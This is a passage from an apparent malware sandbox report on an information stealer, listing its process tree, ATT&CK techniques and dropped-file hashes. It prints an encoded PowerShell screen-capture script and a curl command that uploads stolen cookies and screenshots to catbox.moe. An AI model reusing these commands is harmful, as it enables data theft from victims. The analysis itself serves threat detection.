1AG4AZABzAC4AUwBpAHoAZQApAAoAJABiAGkAdABtAGEAcAAuAFMAYQB2AGUAKAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVQBzAGUAcgBTAGUAdAB0AGkAbgBnAHMAXABpAFEANgBwAEsAdgBuAFYAbgBBAFwARQBOAC0ARABiAGkAbABkAHoAbQBqAFwAUwBjAHIAZQBlAG4AcwBoAG8AdABcAHMAYwByAGUAZQBuAHMAaABvAHQALgBwAG4AZwAiACwAIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEkAbQBhAGcAaQBuAGcALgBJAG0AYQBnAGUARgBvAHIAbQBhAHQAXQA6ADoAUABuAGcAKQAKAAoAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQAKACQAYgBpAHQAbQBhAHAALgBEAGkAcwBwAG8AcwBlACgAKQAKACIATwBLACIACgA="
  2⤵
  PID:2692
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -EncodedCommand CgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAKAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAeQBzAHQAZQBtAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBdADoAOgBWAGkAcgB0AHUAYQBsAFMAYwByAGUAZQBuAAoAJABiAGkAdABtAGEAcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAIAAkAGIAbwB1AG4AZABzAC4AVwBpAGQAdABoACwAIAAkAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQACgAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEcAcgBhAHAAaABpAGMAcwBdADoAOgBGAHIAbwBtAEkAbQBhAGcAZQAoACQAYgBpAHQAbQBhAHAAKQAKACQAZwByAGEAcABoAGkAYwBzAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABiAG8AdQBuAGQAcwAuAFgALAAgACQAYgBvAHUAbgBkAHMALgBZACwAIAAwACwAIAAwACwAIAAkAGIAbwB1AG4AZABzAC4AUwBpAHoAZQApAAoAJABiAGkAdABtAGEAcAAuAFMAYQB2AGUAKAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVQBzAGUAcgBTAGUAdAB0AGkAbgBnAHMAXABpAFEANgBwAEsAdgBuAFYAbgBBAFwARQBOAC0ARABiAGkAbABkAHoAbQBqAFwAUwBjAHIAZQBlAG4AcwBoAG8AdABcAHMAYwByAGUAZQBuAHMAaABvAHQALgBwAG4AZwAiACwAIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEkAbQBhAGcAaQBuAGcALgBJAG0AYQBnAGUARgBvAHIAbQBhAHQAXQA6ADoAUABuAGcAKQAKAAoAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQAKACQAYgBpAHQAbQBhAHAALgBEAGkAcwBwAG8AcwBlACgAKQAKACIATwBLACIACgA=
    3⤵
    PID:4528
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c ""C:\Windows\System32\curl.exe" -s -F "reqtype=fileupload" -F "fileToUpload=@"C:\ProgramData\Microsoft\UserSettings\iQ6pKvnVnA\EN-Dbildzmj.zip"" "https://catbox.moe/user/api.php""
  2⤵
  PID:3344
- - C:\Windows\System32\curl.exe
    "C:\Windows\System32\curl.exe" -s -F "reqtype=fileupload" -F "fileToUpload=@"C:\ProgramData\Microsoft\UserSettings\iQ6pKvnVnA\EN-Dbildzmj.zip"" "https://catbox.moe/user/api.php"
    3⤵
    PID:668

C:\Windows\system32\wscript.exe
wscript.exe
1⤵
PID:3196

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Ignore Process Interrupts

T1564.011

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

EN-Dbildzmj.zip

Path C:\ProgramData\Microsoft\UserSettings\iQ6pKvnVnA\EN-Dbildzmj.zip
Size 445KB
SHA256 9fde2f3b2c7930fb7a9f5754c3ef1d766996c2f94b8ded430d8b15c76af0cd0f
MD5 4dc033fd30e647181d782ad7831c97a7
SHA1 8885b0413692bd9a5dabb8230789f374491d00ab
SHA512 76bad4776ef4385a5da97628fab8e2f679fa2197aaa6d3b42565aee57d1438e40b032a2cef4ffc8d058c0dfc3e26b95557ed829d9d0c0df3fb0cf6f49156623e
SSDEEP 12288:lHqjyjdMo7+yeF2vELc6sFyv4zQd0O4RECfqILtbFS:B0yn7+H0vELc5/zJO4vqILtbA
TLSH
T150A4238CF24354D3D2A1DAA0F6BB44CA803DE99BB7D8D3768C05389C37D289A5B515F2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Cookies_[Google Default].txt

Path C:\ProgramData\Microsoft\UserSettings\iQ6pKvnVnA\EN-Dbildzmj\Cookies\Cookies_[Google Default].txt
Size 284B
SHA256 a26120b9fd88513d65e079f524807abe6b2cbd8e4e631e43ceff17c567751bec
MD5 55fce2231e98af5a98c5acce0a88a4cd
SHA1 92ec7c536ce9fd191ea3669dd8a5845c16fc2319
SHA512 4a0cb6314c60db618d8307b3c14ed9cdab37f0d7b9edb284afecaa47b466e4d33ed87fbee1f39ae1b34c75d69957cefe3b7cb9680c64cbe853a2fdd7f030af0b
TLSH
T1DFD095D354E47424848941BC450955D815312B4C918E90E05C1CC0FD0146B0BE3405F2
MD5 SHA1 SHA512 TLSH

Submit Download

screenshot.png

Path C:\ProgramData\Microsoft\UserSettings\iQ6pKvnVnA\EN-Dbildzmj\Screenshot\screenshot.png
Size 457KB
SHA256 542ebdb280a555b77af42e966c724353f040b3a510099f2c9eae742f478be578
MD5 61f05fd968dc13102e9ba760ebd1cb76
SHA1 5b448690b91afb8933ca12f9ddda915299e4ea3d
SHA512 fe396a1e48020185117004727b979881e11ecb72e4215564209b456ef81db2bbdff5179f45d6a688d1b0c29794a28670186c2448b602051bbaa45e032c3d9ef7
SSDEEP 12288:60hLhtKESIlSPFpm0+kRtOsiC+GKKFoAjikazrWK1:5TKpIl8FpmiSsZ+GKKFo1PXn1
TLSH
T1A5A4230ED5F54C86ECBBD3FE88CA7D2B67135611CD7D91BF9330BB159002EA99A80816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

log.txt

Path C:\ProgramData\Microsoft\UserSettings\iQ6pKvnVnA\EN-Dbildzmj\log.txt
Size 210B
SHA256 1c8f3970668922c15b56b7fcf44a662c27794e50ccb745e069871195ba580cc1
MD5 0b5ff1db8b70e3498da17e9076e62fe7
SHA1 dcde287944e0068abf3aecc3c09dbd12f50d51f1
SHA512 65bd284f1fdb7fa072243737ba42aa0c9852c247206b01ecbc2249c91d44c0439a1ca161f4218ce54e8ff8ba222d03462209f7984784050dae66d76d43dcb179
TLSH
T1E8D0C9F421ED67A1475161C8DC208682420119F78C599CFBB04200CE6FA348B5E58913
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 37ca0d66d27d764e67c67e2f473bc30cf52501ccb490545ccbe50552064009f1
MD5 9f1053bbfa0a81ae74c11432503a6ed7
SHA1 efed0bb78e8906aadcc1645c7f2de812296e7ec4
SHA512 9cdb6164f662f6d052bb9a78996bf1eb1455e3b6e2d1df7d46606e77f59de08691f6502f5ba1b710d01c47706fb5f7699b99416245a6ee440e5fff3f50aa1a61
SSDEEP 96:iq4uYqGEo9xx+incqKXq3qotzYNYr7aqCiNLm7RIz+cBPzQh0nRAy6FcxyDI:iq4uYqGEUdncqKXq3qotzYuWq2Iz+wt
TLSH
T18B91CD323375E0D4C9563F07192C19C463AF4396EA58AF4CB658524EE92714BDB222F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 1KB
SHA256 792bae95c6aa1ce5d18fb69681fd6faa25735daf6855731d0be35b019a4337a8
MD5 bb564c8202a0d4f0bfd8d1dd6b1536c2
SHA1 196fce4ae8fde9d4dfe5e5e34533ce77034bb7b7
SHA512 7ba400d4500daec9939d2ecb9a5d1d5be4e651a6bd1e10dfc20f00c91e07f59503c2b4b01f828474a727e8b11d058a05dbbab9033224a10066dc3091d3a553a6
TLSH
T192317433B79CC3E5C889517E1099A801B5A7C2C7409E8ECB6B9C8114956F5ABCB641A4
MD5 SHA1 SHA512 TLSH

Submit Download